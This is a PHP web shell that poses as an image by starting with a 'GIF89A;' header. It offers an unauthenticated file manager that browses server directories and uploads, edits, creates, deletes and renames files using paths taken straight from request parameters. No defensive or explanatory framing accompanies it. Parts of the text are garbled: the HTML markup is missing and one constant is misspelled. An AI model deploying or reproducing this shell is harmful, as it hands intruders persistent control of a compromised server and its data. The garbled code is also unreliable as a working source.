GIF89A; '; foreach ($files as $file) { $path = realpath($dir . DIRECTORY_SEPARATOR . $file); $color = ''; if (is_readable($path) && is_writable($path)) { $color = 'style="border-left: 4px solid green;"'; } elseif (!is_writable($path)) { $color = 'style="border-left: 4px solid red;"'; } elseif (is_readable($path)) { $color = 'style="border-left: 4px solid white;"'; } echo '
  • '; if (is_dir($path)) { echo '' . htmlspecialchars($file) . ''; } else { echo htmlspecialchars($file) . ' - '; echo 'Edit '; echo 'Delete '; echo 'Rename'; } echo '
  • '; } echo ''; } function upload_file($dir) { if (isset($_FILES['file'])) { $upload_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $upload_file); } } function create_directory($dir) { if (isset($_POST['dirname'])) { $new_dir = $dir . DIRECTORY_SEPARATOR . basename($_POST['dirname']); if (!file_exists($new_dir)) { mkdir($new_dir, 0777, true); } } } function create_file($dir) { if (isset($_POST['filename'])) { $new_file = $dir . DIRECTORY_SEPARATOR . basename($_POST['filename']); if (!file_exists($new_file)) { file_put_contents($new_file, ''); } } } function edit_file($file_path) { if (isset($_POST['content'])) { file_put_contents($file_path, $_POST['content']); } $content = file_get_contents($file_path); echo '
    '; echo '
    '; echo ''; echo '
    '; } function delete_file($file_path) { if (is_file($file_path)) { unlink($file_path); } } function rename_file($file_path) { if (isset($_POST['new_name'])) { $new_path = dirname($file_path) . DIRECTORY_SEPARATO . $_POST['new_name']; rename($file_path, $new_path); } } if (isset($_GET['delete'])) { delete_file($current_dir . DIRECTORY_SEPARATOR . $_GET['delete']); } if (isset($_GET['rename'])) { rename_file($current_dir . DIRECTORY_SEPARATOR . $_GET['rename']); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { upload_file($current_dir); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['dirname'])) { create_directory($current_dir); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) { create_file($current_dir); } echo '

    Current Directory: ' . htmlspecialchars($current_dir) . '

    '; $parent_dir = dirname($current_dir); echo '

    ..

    '; if (isset($_GET['edit'])) { edit_file($current_dir . DIRECTORY_SEPARATOR . $_GET['edit']); } else { list_directory($current_dir); echo '

    Upload File

    '; echo '
    '; echo ''; echo ''; echo '
    '; echo '

    Create Directory

    '; echo '
    '; echo ''; echo ''; echo '
    '; echo '

    Create File

    '; echo '
    '; echo ''; echo ''; echo '
    '; echo '

    Rename File

    '; if (isset($_GET['rename'])) { echo '
    '; echo ''; echo ''; echo '
    '; } echo '

    Delete File

    '; echo '
    '; echo ''; echo ''; echo ''; echo '
    '; } ?>